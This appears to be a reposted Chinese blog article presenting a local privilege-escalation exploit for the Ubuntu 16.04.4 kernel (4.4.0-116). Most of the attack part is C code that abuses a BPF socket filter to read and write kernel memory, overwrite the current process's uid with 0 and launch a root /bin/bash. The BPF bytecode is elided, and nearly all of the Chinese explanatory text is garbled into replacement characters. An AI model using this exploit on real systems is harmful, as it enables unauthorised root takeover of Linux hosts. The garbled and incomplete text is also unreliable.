2018年3月最新的Ubuntu 16.04.4漏洞提权代码
发布日期:2021-05-15 06:41:09 浏览次数:5 分类:精选文章

本文共 3353 字,大约阅读时间需要 11 分钟。

Ubuntu 16.04.4������������������������������sqrt

���������������������������������Ubuntu 16.04.4���������������������������������������������������������������������������������������������������������������������Vitaly Nikolenko������������������������������������������������������������

������������

������������������������������������������������

  • ������������

    • PHYS_OFFSET 0xffff880000000000
    • CRED_OFFSET 0x5f8
    • UID_OFFSET 4
  • ������������

  • char __prog[] = "..."; // ������������������int sockets[2];int mapfd, progfd;static uint64_t bpf_log_buf[LOG_BUF_SIZE];enum bpf_prog_type BPF_PROG_TYPE_SOCKET_FILTER = 21;enum bpf_map_type BPF_MAP_TYPE_ARRAY = 1;// ������������������������uint64_t __read(uint64_t addr) {    // ������map_update_elem������.data    return get_value(2);}// ���������������������void __write(uint64_t addr, uint64_t val) {    // ������map_update_elem������.data    __update_elem(0, addr, val);}5. ������������������```c// ������������mapfd���������������������������������progfd������������������������static void prep(void) {    mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, __prog, 328, "GPL", 0);    // ������socket������BPF������    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {        __exit(strerror(errno));    }    if (setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)) < 0) {        __exit(strerror(errno));    }}// ������������static uint64_t __get_fp(void) {    __update_elem(1, 0, 0);    return get_value(2);}static uint64_t __get_sp(uint64_t addr) {    return addr & ~(0x4000-1);}static uint64_t get_value(int key) {    uint64_t value;    if (bpf_lookup_elem(key, value)) {        __exit(strerror(errno));    }    return value;}static void pwn(void) {    uint64_t fp, sp, task_struct, cred, uid, gid;    // ������_FP������    fp = __get_fp();    if (fp < PHYS_OFFSET) {        __exit("bogus fp");    }    // ������_SP������    sp = __get_sp(fp);    if (sp < PHYS_OFFSET) {        __exit("bogus sp");    }    // ������������������������    task_struct = __read(sp);    if (task_struct < PHYS_OFFSET) {        __exit("bogus task");    }    // ������cred pointer    cred = __read(task_struct + CRED_OFFSET);    if (cred < PHYS_OFFSET) {        __exit("bogus cred");    }    // ������uid���gid    uid = cred + UID_OFFSET;    if (uid < PHYS_OFFSET) {        __exit("bogus uid");    }    __write(uid, 0);    // detach shell    if (system("/bin/bash")) {         exit(EXIT_SUCCESS);    }    __exit("not vulnerable?");}
    1. ������������
    2. int main(int argc, char **argv) {    prep();    pwn();    return 0;}

      ���������������

      • ������Ubuntu 16.04.4���������������
        kernel: 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64

      ���������������������

      • ������������socketpair������������Unix��� socket���
      • ������������������������BPF���������������SO_ATTACH_BPF���������������������socket������
      • ������������map_update_elem���������������������������������������������������

      ���������������

    3. ������������������������������������������������������������������������������
    4. ���������������������������������������������������������������������������������������������
    5. ���������������������������������������������������������������������
    6. ���������������������������������������������������������������������������������

    上一篇:栈溢出原理与 shellcode 开发
    下一篇:使用Chrome调试工具抢阿里云免费套餐

    发表评论

    最新留言

    逛到本站,mark一下
    [***.202.152.39]2025年04月27日 20时38分15秒

    关于作者

        喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
    -- 愿君每日到此一游!

    推荐文章